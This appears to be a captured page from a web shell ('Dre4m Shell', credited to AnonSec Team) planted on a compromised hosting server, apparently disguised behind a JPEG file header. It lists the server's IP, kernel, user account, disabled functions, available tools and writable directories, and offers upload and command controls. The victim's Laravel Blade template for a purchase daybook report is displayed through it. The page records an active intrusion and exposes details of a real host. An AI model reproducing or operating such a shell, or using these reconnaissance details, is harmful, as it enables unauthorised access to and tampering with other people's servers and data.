ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.117.7.42
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/ledgerBook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/ledgerBook/daybook.blade.php
@extends('layouts.layout')
@section('pageTitle')
@endsection

<style type="text/css">

.table, .table tr td, .table thead tr th
{
border:1px solid #333;
}
.table>thead>tr>th, .table>tbody>tr>th, .table>tfoot>tr>th, .table>thead>tr>td, .table>tbody>tr>td, .table>tfoot>tr>td {
    border-top: 1px solid #333;
}

</style>

@section('content')
<div class="box box-default" style="border-top: none;">
  <div style="margin: 10px 20px;"> @if(session('err'))
    <div class="alert alert-warning alert-dismissible hidden-print" role="alert">
      <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span> </button>
      <strong>Error!</strong> {{ session('err') }} </div>
    @endif </div>
  <div class="box-body">
    
    @include('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>'PURCHASE DAYBOOK', 'title2'=>date('d-l, F, Y'), 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>1, 'hideLogos'=>0, 'hideAddress'=>0])
    
   
    <div class="row" style="margin-top:5px; padding-top: 15px; padding-left: 30px; padding-right: 30px;">
      <div class="col-md-12" style="padding-top: 0px; margin-top: 5px; ">

          <!-- date picker -->
          <form action="{{url('/daybook/view-book')}}" method="post">
              {{ csrf_field() }}
              <div class="row hidden-print">
                  <div class="col-md-5">
                      <div class="form-group">
                          <label for="date">Start Date</label>
                          <input type="text" name="getFrom" id="getFrom" class="form-control input-lg" value="{{ Session::get('retain_from') }}" placeholder="from date" required>
                      </div>
                  </div>
                  <div class="col-md-5">
                      <div class="form-group">
                          <label for="date">End Date</label>
                          <input type="text" name="getTo" id="getTo" class="form-control input-lg" value="{{ Session::get('retain_to') }}" placeholder="to date" required>
                      </div>
                  </div>


                  <div class="col-sm-2">
                      <div class="form-group">
                          <label >&nbsp;</label>
                          <div>
                              <button type="submit" class="btn btn-success input-lg" style="border: #333; border-radius: 0; outline: none !important; margin-left: -25px; padding: 8px;"><i class="fa fa-search"></i> Display</button>
                          </div>
                      </div>
                  </div>
              </div><!-- End Row -->
          </form>

          <!-- end date picker -->

        <table class="table" style="font-size: 16px;">
          <thead>
          <th>S/N</th>
          <th>DATE</th>
          <th>NAME OF PAYEE</th>
          <th>PDB</th>
          <th>TOTAL PURCHASE</th>
          <th>SUPPLIER</th>
          <th>VAT</th>
          <th>WHT</th>
          <th>ECONOMIC CODE</th>
          </thead>
          <tbody>
          
          @php 
            $serial = 1; 
            $totalPurchase = 0.0;
            $totalSupplier = 0.0;
            $totalVat = 0.0;
            $totalWht = 0.0;
           @endphp
         
          @foreach ($dayBook as $list )
            @php 
                $totalPurchase += $list->totalPayment;
                $totalSupplier += $list->amtPayable;
                $totalVat += $list->VATValue;
                $totalWht += $list->WHTValue;
            @endphp
              <tr>
                <td>{{$serial++}}</td>
                <td>{{ date('d-m-Y', strtotime($list->datePrepared))}}</td>
                <td>{{$list->contractor}}</td>
                <td> {{ (isset($list->voucherCode) ? $list->voucherCode : '') }}</td>
                <td class="text-right"> {{number_format($list->totalPayment, 2, '.', ',')}} </td>
                <td class="text-right"> {{number_format($list->amtPayable , 2, '.', ',')}} </td>
                <td class="text-right"> {{number_format($list->VATValue, 2, '.', ',')}} </td>
                <td class="text-right">{{number_format($list->WHTValue, 2, '.', ',')}}</td>
                <td>{{ (isset($list->economicCode) ? $list->economicCode : '') }}</td>
              </tr>
            @endforeach
                <tr>
                    <td colspan="4" class="text-right"><strong>TOTAL: </strong></td>
                    <td class="text-right"> {{number_format($totalPurchase, 2)}} </td>
                    <td class="text-right"> {{number_format($totalSupplier, 2)}} </td>
                    <td class="text-right"> {{number_format($totalVat, 2)}} </td>
                    <td class="text-right">{{number_format($totalWht, 2)}}</td>
                    <td></td>
                </tr>
            </tbody>
          
        </table>
        <div class="hidden-print"></div>
      </div>
    </div>
    <!-- /.col --> 
  </div>
  <!-- /.row --> 
  
</div>
@endsection
@section('scripts') 
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script> 
<!-- autocomplete js--> 
<script src="{{ asset('assets/js/jquery.autocomplete.min.js') }}" ></script> 
<script src="{{ asset('assets/js/my-hr.js') }}" type="text/javascript"></script>
<script src="{{ asset('assets/js/moment.js') }}" type="text/javascript"></script> 
<script src="{{ asset('assets/js/daterangepicker.js') }}" type="text/javascript"></script>

<script type="text/javascript">
  $(function() {
      $('#searchName').attr("disabled", true);
      $("#autocomplete").autocomplete({
        serviceUrl: murl + '/data/searchUser',
        minLength: 2,
        onSelect: function (suggestion) {
            $('#fileNo').val(suggestion.data);
            $('#searchName').attr("disabled", false);
            //showAll();
        }
      });
  });
</script>



<script type="text/javascript">

    $( function() {
        $("#getFrom").datepicker({
            changeMonth: true,
            changeYear: true,
            yearRange: '1910:2090', // specifying a hard coded year range
            showOtherMonths: true,
            selectOtherMonths: true,
            dateFormat: "dd MM, yy",
            //dateFormat: "D, MM d, yy",
            onSelect: function(dateText, inst){
                var theDate = new Date(Date.parse($(this).datepicker('getDate')));
                var dateFormatted = $.datepicker.formatDate('dd MM yy', theDate);
                $("#getFrom").val(dateFormatted);
            },
        });

    } );

    $( function() {
        $("#getTo").datepicker({
            changeMonth: true,
            changeYear: true,
            yearRange: '1910:2090', // specifying a hard coded year range
            showOtherMonths: true,
            selectOtherMonths: true,
            dateFormat: "dd MM, yy",
            //dateFormat: "D, MM d, yy",
            onSelect: function(dateText, inst){
                var theDate = new Date(Date.parse($(this).datepicker('getDate')));
                var dateFormatted = $.datepicker.formatDate('dd MM yy', theDate);
                $("#getTo").val(dateFormatted);
            },
        });

    } );
</script>

@endsection

@section('stypes')
<style type="text/css">
    @import url(https://fonts.googleapis.com/css?family=Open+Sans);

body{
  background: #f2f2f2;
  font-family: 'Open Sans', sans-serif;
}

.search {
  width: 100%;
  position: relative; 
}

.searchTerm {
  float: left;
  width: 100%;
  border: 3px solid #00B4CC;
  padding: 5px;
  height: 20px;
  border-radius: 5px;
  outline: none;
  color: #9DBFAF; 
}

.searchTerm:focus{
  color: #00B4CC;
}

.searchButton {
  position: absolute;  
  right: -50px;
  width: 40px;

  height: 36px;
  border: 1px solid #00B4CC;
  background: #00B4CC;
  text-align: center;
  color: #fff;
  border-radius: 5px;
  cursor: pointer;
  font-size: 20px;
}

/*Resize the wrap to see the search bar change!*/
.wrap{
  width: 30%; 
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}



</style>
@stop
@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/custom-style.css')}}">
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@endsection
@section('styles')
<style>
  .textbox {
    border: 1px;
    background-color: #33AD0A;
    outline:0;
    height:25px;
    width: 275px;
  }

  .autocomplete-suggestions{
    color:#fff;
    font-size: 13px;
  }
</style>
@endsection

Anon7 - 2022
AnonSec Team